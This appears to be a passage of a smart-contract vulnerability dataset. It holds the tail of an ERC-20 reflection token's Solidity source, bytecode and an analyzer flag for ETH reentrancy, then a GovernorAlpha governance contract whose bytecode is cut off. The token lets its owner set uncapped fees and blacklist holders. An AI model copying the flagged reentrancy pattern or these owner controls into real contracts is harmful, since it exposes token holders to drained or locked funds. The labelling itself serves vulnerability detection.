uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610529578063dd62ed3e14610549578063ea1644d51461058f578063f2fde38b146105af57600080fd5b8063a2a957bb146104a4578063a9059cbb146104c4578063bfd79284146104e4578063c3c8cd801461051457600080fd5b80638f70ccf7116100d15780638f70ccf71461041a5780638f9a55c01461043a57806395d89b411461045057806398a5c3151461048457600080fd5b806374010ece146103c65780637d1db4a5146103e65780638da5cb5b146103fc57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035c5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c57600080fd5b80631694505e116101a05780631694505e1461026c57806318160ddd146102a457806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023c57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ac9565b6105cf565b005b3480156101ff57600080fd5b5060408051808201909152600e81526d084c2dcd6409ecc4086d0eae4c6d60931b60208201525b6040516102339190611bfb565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611a19565b61066e565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50683635c9adc5dea000005b604051908152602001610233565b3480156102d657600080fd5b5061025c6102e53660046119d8565b610685565b3480156102f657600080fd5b506102bc60185481565b34801561030c57600080fd5b5060405160098152602001610233565b34801561032857600080fd5b5060155461028c906001600160a01b031681565b34801561034857600080fd5b506101f1610357366004611965565b6106ee565b34801561036857600080fd5b506101f1610377366004611b95565b610739565b34801561038857600080fd5b506101f1610781565b34801561039d57600080fd5b506102bc6103ac366004611965565b6107cc565b3480156103bd57600080fd5b506101f16107ee565b3480156103d257600080fd5b506101f16103e1366004611bb0565b610862565b3480156103f257600080fd5b506102bc60165481565b34801561040857600080fd5b506000546001600160a01b031661028c565b34801561042657600080fd5b506101f1610435366004611b95565b610891565b34801561044657600080fd5b506102bc60175481565b34801561045c57600080fd5b5060408051808201909152600b81526a4348555243482042414e4b60a81b6020820152610226565b34801561049057600080fd5b506101f161049f366004611bb0565b6108d9565b3480156104b057600080fd5b506101f16104bf366004611bc9565b610908565b3480156104d057600080fd5b5061025c6104df366004611a19565b610946565b3480156104f057600080fd5b5061025c6104ff366004611965565b60106020526000908152604090205460ff1681565b34801561052057600080fd5b506101f1610953565b34801561053557600080fd5b506101f1610544366004611a45565b6109a7565b34801561055557600080fd5b506102bc61056436600461199f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059b57600080fd5b506101f16105aa366004611bb0565b610a48565b3480156105bb57600080fd5b506101f16105ca366004611965565b610a77565b6000546001600160a01b031633146106025760405162461bcd60e51b81526004016105f990611c50565b60405180910390fd5b60005b815181101561066a5760016010600084848151811061062657610626611d97565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066281611d66565b915050610605565b5050565b600061067b338484610b61565b5060015b92915050565b6000610692848484610c85565b6106e484336106df85604051806060016040528060288152602001611dd9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c1565b610b61565b5060019392505050565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016105f990611c50565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016105f990611c50565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b657506013546001600160a01b0316336001600160a01b0316145b6107bf57600080fd5b476107c9816111fb565b50565b6001600160a01b03811660009081526002602052604081205461067f90611280565b6000546001600160a01b031633146108185760405162461bcd60e51b81526004016105f990611c50565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105f990611c50565b601655565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016105f990611c50565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105f990611c50565b601855565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105f990611c50565b600893909355600a91909155600955600b55565b600061067b338484610c85565b6012546001600160a01b0316336001600160a01b0316148061098857506013546001600160a01b0316336001600160a01b0316145b61099157600080fd5b600061099c306107cc565b90506107c981611304565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105f990611c50565b60005b82811015610a425781600560008686858181106109f3576109f3611d97565b9050602002016020810190610a089190611965565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3a81611d66565b9150506109d4565b50505050565b6000546001600160a01b03163314610a725760405162461bcd60e51b81526004016105f990611c50565b601755565b6000546001600160a01b03163314610aa15760405162461bcd60e51b81526004016105f990611c50565b6001600160a01b038116610b065760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f9565b6001600160a01b038216610c245760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f9565b6001600160a01b038216610d4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f9565b60008111610dad5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f9565b6000546001600160a01b03848116911614801590610dd957506000546001600160a01b03838116911614155b156110ba57601554600160a01b900460ff16610e72576000546001600160a01b03848116911614610e725760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f9565b601654811115610ec45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f9565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0657506001600160a01b03821660009081526010602052604090205460ff16155b610f5e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f9565b6015546001600160a01b03838116911614610fe35760175481610f80846107cc565b610f8a9190611cf6565b10610fe35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f9565b6000610fee306107cc565b6018546016549192508210159082106110075760165491505b80801561101e5750601554600160a81b900460ff16155b801561103857506015546001600160a01b03868116911614155b801561104d5750601554600160b01b900460ff165b801561107257506001600160a01b03851660009081526005602052604090205460ff16155b801561109757506001600160a01b03841660009081526005602052604090205460ff16155b156110b7576110a582611304565b4780156110b5576110b5476111fb565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fc57506001600160a01b03831660009081526005602052604090205460ff165b8061112e57506015546001600160a01b0385811691161480159061112e57506015546001600160a01b03848116911614155b1561113b575060006111b5565b6015546001600160a01b03858116911614801561116657506014546001600160a01b03848116911614155b1561117857600854600c55600954600d555b6015546001600160a01b0384811691161480156111a357506014546001600160a01b03858116911614155b156111b557600a54600c55600b54600d555b610a428484848461148d565b600081848411156111e55760405162461bcd60e51b81526004016105f99190611bfb565b5060006111f28486611d4f565b95945050505050565b6012546001600160a01b03166108fc6112158360026114bb565b6040518115909202916000818181858888f1935050505015801561123d573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112588360026114bb565b6040518115909202916000818181858888f1935050505015801561066a573d6000803e3d6000fd5b60006006548211156112e75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f9565b60006112f16114fd565b90506112fd83826114bb565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134c5761134c611d97565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113a057600080fd5b505afa1580156113b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d89190611982565b816001815181106113eb576113eb611d97565b6001600160a01b0392831660209182029290920101526014546114119130911684610b61565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144a908590600090869030904290600401611c85565b600060405180830381600087803b15801561146457600080fd5b505af1158015611478573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061149a5761149a611520565b6114a584848461154e565b80610a4257610a42600e54600c55600f54600d55565b60006112fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611645565b600080600061150a611673565b909250905061151982826114bb565b9250505090565b600c541580156115305750600d54155b1561153757565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611560876116b5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115929087611712565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115c19086611754565b6001600160a01b0389166000908152600260205260409020556115e3816117b3565b6115ed84836117fd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163291815260200190565b60405180910390a3505050505050505050565b600081836116665760405162461bcd60e51b81526004016105f99190611bfb565b5060006111f28486611d0e565b6006546000908190683635c9adc5dea0000061168f82826114bb565b8210156116ac57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006116d28a600c54600d54611821565b92509250925060006116e26114fd565b905060008060006116f58e878787611876565b919e509c509a509598509396509194505050505091939550919395565b60006112fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c1565b6000806117618385611cf6565b9050838110156112fd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f9565b60006117bd6114fd565b905060006117cb83836118c6565b306000908152600260205260409020549091506117e89082611754565b30600090815260026020526040902055505050565b60065461180a9083611712565b60065560075461181a9082611754565b6007555050565b600080808061183b606461183589896118c6565b906114bb565b9050600061184e60646118358a896118c6565b90506000611866826118608b86611712565b90611712565b9992985090965090945050505050565b600080808061188588866118c6565b9050600061189388876118c6565b905060006118a188886118c6565b905060006118b3826118608686611712565b939b939a50919850919650505050505050565b6000826118d55750600061067f565b60006118e18385611d30565b9050826118ee8583611d0e565b146112fd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f9565b803561195081611dc3565b919050565b8035801515811461195057600080fd5b60006020828403121561197757600080fd5b81356112fd81611dc3565b60006020828403121561199457600080fd5b81516112fd81611dc3565b600080604083850312156119b257600080fd5b82356119bd81611dc3565b915060208301356119cd81611dc3565b809150509250929050565b6000806000606084860312156119ed57600080fd5b83356119f881611dc3565b92506020840135611a0881611dc3565b929592945050506040919091013590565b60008060408385031215611a2c57600080fd5b8235611a3781611dc3565b946020939093013593505050565b600080600060408486031215611a5a57600080fd5b833567ffffffffffffffff80821115611a7257600080fd5b818601915086601f830112611a8657600080fd5b813581811115611a9557600080fd5b8760208260051b8501011115611aaa57600080fd5b602092830195509350611ac09186019050611955565b90509250925092565b60006020808385031215611adc57600080fd5b823567ffffffffffffffff80821115611af457600080fd5b818501915085601f830112611b0857600080fd5b813581811115611b1a57611b1a611dad565b8060051b604051601f19603f83011681018181108582111715611b3f57611b3f611dad565b604052828152858101935084860182860187018a1015611b5e57600080fd5b600095505b83861015611b8857611b7481611945565b855260019590950194938601938601611b63565b5098975050505050505050565b600060208284031215611ba757600080fd5b6112fd82611955565b600060208284031215611bc257600080fd5b5035919050565b60008060008060808587031215611bdf57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611c2857858101830151858201604001528201611c0c565b81811115611c3a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cd55784516001600160a01b031683529383019391830191600101611cb0565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d0957611d09611d81565b500190565b600082611d2b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d4a57611d4a611d81565b500290565b600082821015611d6157611d61611d81565b500390565b6000600019821415611d7a57611d7a611d81565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220758d8159817285fd89413b7e35cd4e04037b3a23c7364ccf65e9f8eb4f32574064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,568 |
0x97473a8697c45a2dd0ef04545115c6389ace31c8
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Meowshi Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public pure returns (uint) { return 10_000_000e18; }
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public pure returns (uint) { return 1_000_000e18; }
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Meowshi Timelock
TimelockInterface public timelock;
/// @notice The address of the Meowshi governance token
MeowInterface public meow;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address meow_) public {
timelock = TimelockInterface(timelock_);
meow = MeowInterface(meow_);
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(meow.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(meow.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = meow.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface MeowInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
|
0x6080604052600436106101755760003560e01c80634634c61f116100cb578063da35c6641161007f578063deaaa7cc11610059578063deaaa7cc146103d0578063e23a9a52146103e5578063fe0d94c11461041257610175565b8063da35c6641461037b578063da95691a14610390578063ddf0b009146103b057610175565b8063b58131b0116100b0578063b58131b01461032f578063c5a5659914610344578063d33219b41461036657610175565b80634634c61f146102fa5780637bdbe4d01461031a57610175565b806320606b701161012d5780633932abb1116101075780633932abb1146102985780633e4f49e6146102ad57806340e58ee5146102da57610175565b806320606b701461023e57806324bc1a6414610253578063328dd9821461026857610175565b806306fdde031161015e57806306fdde03146101da57806315373e3d146101fc57806317977c611461021e57610175565b8063013cf08b1461017a57806302a251a3146101b8575b600080fd5b34801561018657600080fd5b5061019a6101953660046125ce565b610425565b6040516101af99989796959493929190613627565b60405180910390f35b3480156101c457600080fd5b506101cd61048b565b6040516101af9190613394565b3480156101e657600080fd5b506101ef610492565b6040516101af9190613450565b34801561020857600080fd5b5061021c610217366004612626565b6104cb565b005b34801561022a57600080fd5b506101cd61023936600461244b565b6104da565b34801561024a57600080fd5b506101cd6104ec565b34801561025f57600080fd5b506101cd610503565b34801561027457600080fd5b506102886102833660046125ce565b610512565b6040516101af9493929190613347565b3480156102a457600080fd5b506101cd6107ea565b3480156102b957600080fd5b506102cd6102c83660046125ce565b6107ef565b6040516101af9190613442565b3480156102e657600080fd5b5061021c6102f53660046125ce565b6109ba565b34801561030657600080fd5b5061021c610315366004612656565b610c8c565b34801561032657600080fd5b506101cd610e6e565b34801561033b57600080fd5b506101cd610e73565b34801561035057600080fd5b50610359610e81565b6040516101af9190613434565b34801561037257600080fd5b50610359610e9d565b34801561038757600080fd5b506101cd610eb9565b34801561039c57600080fd5b506101cd6103ab366004612471565b610ebf565b3480156103bc57600080fd5b5061021c6103cb3660046125ce565b6113d0565b3480156103dc57600080fd5b506101cd6116c7565b3480156103f157600080fd5b506104056104003660046125ec565b6116d3565b6040516101af9190613571565b61021c6104203660046125ce565b611754565b6003602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b90970154959673ffffffffffffffffffffffffffffffffffffffff90951695939492939192909160ff8082169161010090041689565b6143805b90565b6040518060400160405280601681526020017f4d656f7773686920476f7665726e6f7220416c7068610000000000000000000081525081565b6104d6338383611988565b5050565b60046020526000908152604090205481565b6040516104f890613238565b604051809103902081565b6a084595161401484a00000090565b606080606080600060036000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156105a157602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610576575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156105f357602002820191906000526020600020905b8154815260200190600101908083116105df575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156106e45760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156106d05780601f106106a5576101008083540402835291602001916106d0565b820191906000526020600020905b8154815290600101906020018083116106b357829003601f168201915b50505050508152602001906001019061061b565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156107d45760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b50505050508152602001906001019061070b565b5050505090509450945094509450509193509193565b600190565b600081600254101580156108035750600082115b610842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083990613481565b60405180910390fd5b6000828152600360205260409020600b81015460ff16156108675760029150506109b5565b8060070154431161087c5760009150506109b